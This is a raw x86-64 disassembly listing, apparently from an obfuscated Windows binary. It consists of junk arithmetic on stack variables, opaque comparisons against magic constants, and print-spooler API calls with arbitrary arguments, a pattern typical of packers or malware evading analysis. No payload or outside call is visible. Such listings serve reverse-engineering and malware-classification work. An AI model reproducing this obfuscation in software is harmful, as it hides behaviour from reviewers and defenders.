lea rax, [rsp + 0x1be30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xea10]
mov qword [rsp + 0x20], rax
mov r9d, 0x97
mov r8, qword [rsp + 0x12950]
mov edx, 0xbc
mov rcx, qword [rsp + 0xcfa0]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x3f80], eax
mov al, byte [rsp + 0xd6b9]
mov byte [rsp + 0x1fcb8], al
cmp byte [rsp + 0x1fcb8], 0x4a
je 0x1400161d1
cmp byte [rsp + 0x1fcb8], 0xa1
je 0x140016233
jmp 0x14001624f
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x189b4]
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov eax, dword [rsp + 0x154d0]
sub eax, 0x3113e2f3
mov dword [rsp + 0x6e88], eax
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x3d10]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rdx, qword [rsp + 0xaf68]
mov rcx, qword [rsp + 0xd7f0]
call fcn.140148d70
jmp 0x14001624f
lea rdx, [rsp + 0x9068]
mov rcx, qword [rsp + 0xc670]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x3e50], eax
movzx eax, word [rsp + 0x3d10]
mov dword [rsp + 0x1fcbc], eax
cmp dword [rsp + 0x1fcbc], 0xee4
je 0x14001626d
jmp 0x14001628f
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x3d10]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
jmp 0x1401489bd
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [0x14015d2cc]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x189b4]
add ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
movsx eax, word [0x14015d2c8]
sub eax, 0x5bb3
mov word [rsp + 0xfd20], ax
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cd58]
sub eax, ecx
mov word [rsp + 0x3d10], ax
mov eax, dword [rsp + 0x13a60]
add eax, 3
mov dword [rsp + 0x13a60], eax
movzx eax, byte [rsp + 0xd6b9]
add eax, 0xda
mov byte [rsp + 0xd6b9], al
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1be30], al
movzx eax, byte [rsp + 0xd6b9]
sub eax, 0xdc
mov byte [rsp + 0xd6b9], al
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rcx, qword [rsp + 0x1ef10]
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov eax, dword [rsp + 0x154d0]
sub eax, 0x56327256
mov dword [rsp + 0x6e88], eax
movabs rcx, 0x1ae39bdacb33cdb7
mov rax, qword [rsp + 0xaf68]
xor rax, rcx
mov qword [rsp + 0xaf68], rax
movsx eax, word [0x14015d2c8]
sar eax, 0xb
mov word [rsp + 0xfd20], ax
movzx edx, word [rsp + 0x3d10]
movzx eax, word [0x14015d2cc]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x1cd58], ax
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov eax, dword [rsp + 0x189b4]
mov ecx, dword [rsp + 0x3f80]
and ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
cmp dword [rsp + 0x13a60], 0x10106
jne 0x14001628f
movzx eax, word [rsp + 0x1cd58]
movzx ecx, word [0x14015d2cc]
add eax, ecx
mov word [rsp + 0x3d10], ax
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
add ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov eax, dword [rsp + 0x154d0]
and eax, 0x34ba4f66
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x189b4]
sub eax, ecx
mov dword [rsp + 0x17460], eax
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x3d10], ax
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov eax, dword [rsp + 0xbd60]
sub eax, 0x35
mov dword [rsp + 0xbd60], eax
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0xb9d8]
xor rax, rcx
mov qword [0x1401601a8], rax
movabs rcx, 0x36693d15a1e88261
mov rax, qword [rsp + 0xaf68]
or rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0x14080]
and rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rcx, qword [rsp + 0x1ef10]
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov eax, dword [rsp + 0x6e88]
add eax, 0x60e5dcd5
mov dword [rsp + 0x154d0], eax
movzx eax, byte [rsp + 0xd6b9]
add eax, 0x63
mov byte [rsp + 0xd6b9], al
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x3d10]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [0x14015d2cc]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
add ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f80]
sub ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
movzx eax, word [rsp + 0x3d10]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xaf68]
shr rax, 0x1c
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
or ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3d10]
xor eax, ecx
mov word [rsp + 0x1cd58], ax
movsx eax, word [0x14015d2c8]
and eax, 0x36b4
mov word [rsp + 0xfd20], ax
movzx eax, byte [rsp + 0xd6b9]
sub eax, 0xa0
mov byte [rsp + 0xd6b9], al
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rcx, qword [0x1401601a8]
mov rax, qword [rsp + 0xb9d8]
sub rax, rcx
mov qword [rsp + 0xd7f0], rax
mov ecx, dword [rsp + 0x189b4]
mov eax, dword [rsp + 0x17460]
add eax, ecx
mov dword [rsp + 0x3f80], eax
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movzx ecx, word [0x14015d2cc]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx eax, word [rsp + 0x1cd58]
movzx ecx, word [0x14015d2cc]
sub eax, ecx
mov word [rsp + 0x3d10], ax
cmp dword [rsp + 0xbd60], 0xa459
ja 0x14001645c
movzx edx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, al
sar edx, cl
movzx eax, word [rsp + 0x1cd58]
movzx ecx, word [0x14015d2cc]
xor eax, ecx
cmp edx, eax
jle 0x140016964
mov eax, dword [rsp + 0x6e88]
mov dword [rsp + 0x1fcc0], eax
cmp dword [rsp + 0x1fcc0], 0x78fd5de4
je 0x1400168c5
jmp 0x140016950
lea rax, [rsp + 0x104a0]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x1cd58]
mov edx, 0x75
mov rcx, qword [rsp + 0x1048]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x16050], eax
movzx edx, word [rsp + 0x1cd58]
movzx eax, word [0x14015d2cc]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xd7f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb9d8]
mov r8, qword [rsp + 0x14080]
movzx edx, word [rsp + 0xfd20]
mov rcx, qword [rsp + 0x14080]
call fcn.140011920
jmp 0x140016964
movsx eax, word [rsp + 0xfd20]
or eax, 0x5d22
mov word [0x14015d2c8], ax
mov eax, dword [rsp + 0x154d0]
mov dword [rsp + 0x1fcc4], eax
cmp dword [rsp + 0x1fcc4], 0x4f7c4979
je 0x140016984
jmp 0x140016adc
mov r9d, 0x71
lea r8, [rsp + 0x1cd58]
mov edx, 0xfe
mov rcx, qword [rsp + 0x6fd8]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x14028], eax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov al, byte [rsp + 0x1be30]
mov byte [rsp + 0x1fcc8], al
cmp byte [rsp + 0x1fcc8], 0x4a
je 0x1400169e8
jmp 0x140016aa3
mov eax, dword [rsp + 0x6e88]
add eax, 0x1f5a2c7
mov dword [rsp + 0x154d0], eax
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
mov dword [rsp + 0x1fccc], eax
cmp dword [rsp + 0x1fccc], 0x84e
je 0x140016a1c
jmp 0x140016a82
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rsp + 0x3f80]
sub ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0xb9d8]
add rax, rcx
mov qword [rsp + 0x14080], rax
mov dword [rsp + 0x20], 0x71
lea r9, [rsp + 0x2d10]
mov r8d, 0x91
mov edx, 0xa6
mov rcx, qword [rsp + 0xc670]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x47d8], eax
jmp 0x140016aa1
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
jmp 0x140016ada
mov rax, qword [rsp + 0x1f1c8]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0xd7f0]
mov r8, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0x1228]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0xaf68]
call fcn.140011eb0
jmp 0x140016b53
movzx eax, byte [rsp + 0xd6b9]
mov byte [rsp + 0xb681], al
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
mov word [rsp + 0x112e0], ax
movzx eax, word [rsp + 0xfd20]
mov word [rsp + 0x6d38], ax
movzx edx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1cd58], ax
mov dword [rsp + 0x134], 0x73a7
mov dword [rsp + 0x12788], 0xf070
lea rax, [rsp + 0xaf68]
mov qword [rsp + 0x4c20], rax
mov dword [rsp + 0x12f20], 0xf7db
mov eax, dword [rsp + 0x6e88]
add eax, 0x50164598
cmp eax, dword [rsp + 0x154d0]
jge 0x140016bb6
mov eax, dword [rsp + 0x154d0]
and eax, 0x4600ea97
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f80]
sub ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov edx, dword [rsp + 0x6e88]
mov ecx, dword [rsp + 0x154d0]
call fcn.140012120
lea rax, [rsp + 0x189b4]
mov qword [rsp + 0x12a38], rax
mov dword [rsp + 0x1baf0], 0x9530
mov rax, qword [rsp + 0x1228]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movsx edx, word [rsp + 0xfd20]
movsx eax, word [0x14015d2c8]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x6d38], ax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx eax, word [rsp + 0xfd20]
movsx ecx, word [rsp + 0x6d38]
or eax, ecx
mov word [0x14015d2c8], ax
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x112e0]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rsp + 0x17460]
and ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov eax, dword [rsp + 0x36d8]
sub eax, 0xc3
mov dword [rsp + 0x36d8], eax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov eax, dword [rsp + 0x6e88]
sub eax, 0x2cfa9df8
mov dword [rsp + 0x154d0], eax
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1be30], al
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx ecx, word [rsp + 0x112e0]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x112e0]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x112e0]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movabs rax, 0x1a9fc3074de6173b
mov rcx, qword [rsp + 0xaf68]
or rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x189b4]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1ef10]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1be30], al
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [0x14015d2cc]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movabs rax, 0x6391f86c919a243
mov rcx, qword [rsp + 0xaf68]
and rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movabs rax, 0x5dc3fa97c21f75ea
mov rcx, qword [rsp + 0xaf68]
add rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
add ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rsp + 0x189b4]
sub ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rsp + 0xd7f0]
sub rax, rcx
mov qword [rsp + 0x14080], rax
movzx eax, byte [rsp + 0xb681]
add eax, 0x23
mov byte [rsp + 0xd6b9], al
movsx eax, word [rsp + 0x6d38]
movsx ecx, word [0x14015d2c8]
sub eax, ecx
mov word [rsp + 0xfd20], ax
movzx ecx, word [rsp + 0x112e0]
movzx eax, word [rsp + 0x3d10]
or ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
xor ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
movsx edx, word [rsp + 0xfd20]
movsx eax, word [0x14015d2c8]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x6d38], ax
mov eax, dword [rsp + 0x17460]
mov dword [rsp + 0x189b4], eax
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
shl rax, 0x1c
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov eax, dword [rsp + 0x6e88]
sub eax, 0x399027a
mov dword [rsp + 0x154d0], eax
cmp dword [rsp + 0x36d8], 0x40f1
jae 0x140016bd1
mov rax, qword [rsp + 0xaf68]
mov qword [rsp + 0x1fcd0], rax
movabs rax, 0xe0b1f77ed0000000
cmp qword [rsp + 0x1fcd0], rax
je 0x140017035
jmp 0x1400171f9
lea rax, [rsp + 0x3d10]
mov qword [rsp + 0xddc8], rax
movzx eax, byte [rsp + 0xd6b9]
mov byte [rsp + 0x1d4c0], al
mov dword [rsp + 0xaf70], 0x3e16
mov eax, dword [rsp + 0x154d0]
mov dword [rsp + 0x1fcd8], eax
cmp dword [rsp + 0x1fcd8], 0x1c6f48aa
je 0x140017090
cmp dword [rsp + 0x1fcd8], 0x251790fa
je 0x1400171c5
jmp 0x1400171e9
mov eax, dword [rsp + 0x6e88]
add eax, 0x30d3f6d6
cmp eax, dword [rsp + 0x154d0]
jl 0x1400171b8
mov rax, qword [rsp + 0xaf68]
mov qword [rsp + 0x1fce0], rax
movabs rax, 0xb485ed9e01b66b00
cmp qword [rsp + 0x1fce0], rax
je 0x140017198
movabs rax, 0xc8a3855b8305d0ab
cmp qword [rsp + 0x1fce0], rax
je 0x1400170ea
jmp 0x1400171b8
mov r8, qword [rsp + 0x46a8]
mov rdx, qword [rsp + 0x1a638]
mov rcx, qword [rsp + 0x12950]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x3e50], eax
mov rax, qword [rsp + 0x1228]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x1be30], al
mov rcx, qword [rsp + 0x21b8]
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
lea rax, [rsp + 0x3d10]
mov qword [rsp + 0x20], rax
mov r9d, 0x42
mov r8, qword [rsp + 0x12950]
mov rdx, qword [rsp + 0x1810]
mov rcx, qword [rsp + 0x1048]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x3f80], eax
mov edx, dword [rsp + 0x6e88]
mov ecx, dword [rsp + 0x154d0]
call fcn.140012120
jmp 0x1400171b8
movzx ecx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov dword [rsp + 0x1a1b8], 0x7b9e
jmp 0x1400171e9
mov r8, qword [rsp + 0x12950]
mov rdx, qword [rsp + 0x131b0]
mov rcx, qword [rsp + 0x46a8]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0xa284], eax
mov dword [rsp + 0x3340], 0xf847
jmp 0x14001730e
mov rcx, qword [0x1401601a8]
mov rax, qword [rsp + 0xb9d8]
add rax, rcx
mov qword [rsp + 0x14080], rax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x112e0]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
mov dword [rsp + 0x1fce8], eax
cmp dword [rsp + 0x1fce8], 0x55c
je 0x1400172ee
cmp dword [rsp + 0x1fce8], 0x621
je 0x140017268
jmp 0x14001730e
lea rax, [rsp + 0x189b4]
mov qword [rsp + 0x20], rax
mov r9d, 0xaf
mov r8, qword [rsp + 0xb700]
mov rdx, qword [rsp + 0x12950]
mov rcx, qword [rsp + 0x69e8]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x189b4], eax
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x189b4]
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0xd7f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb9d8]
mov r8, qword [rsp + 0xb9d8]
movzx edx, word [rsp + 0x6d38]
mov rcx, qword [rsp + 0xd7f0]
call fcn.140011920
jmp 0x14001730e
mov rax, qword [rsp + 0x4c20]
movabs rcx, 0xeea3936c820dd8e7
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaf68], rax
cmp dword [rsp + 0x1baf0], 0x72bc
jbe 0x1400178c7
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x1be30], al
movzx edx, byte [rsp + 0xd6b9]
movzx eax, byte [rsp + 0xb681]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x1d4c0], al
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x112e0]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx eax, byte [rsp + 0x1d4c0]
movzx ecx, byte [rsp + 0xd6b9]
and eax, ecx
mov byte [rsp + 0xb681], al
movzx edx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [0x14015d2cc], ax
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
movabs rcx, 0x18af60f908321ac2
add rax, rcx
mov qword [rsp + 0xaf68], rax
movzx ecx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov eax, dword [rsp + 0x1baf0]
sub eax, 0x62
mov dword [rsp + 0x1baf0], eax
mov eax, dword [rsp + 0x154d0]
sub eax, 0x61206a95
mov dword [rsp + 0x6e88], eax
mov rdx, qword [rsp + 0x1ef10]
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x17460], eax
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
add ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x112e0]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movsx edx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x112e0]
or ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x1ef10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f80]
shr eax, cl
mov dword [rsp + 0x17460], eax
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov eax, dword [rsp + 0x154d0]
and eax, 0x43dd6b09
mov dword [rsp + 0x6e88], eax
movzx ecx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movzx edx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1cd58], ax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movsx eax, word [rsp + 0xfd20]
movsx ecx, word [rsp + 0x6d38]
sub eax, ecx
mov word [0x14015d2c8], ax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rsp + 0x17460]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0xaf68]
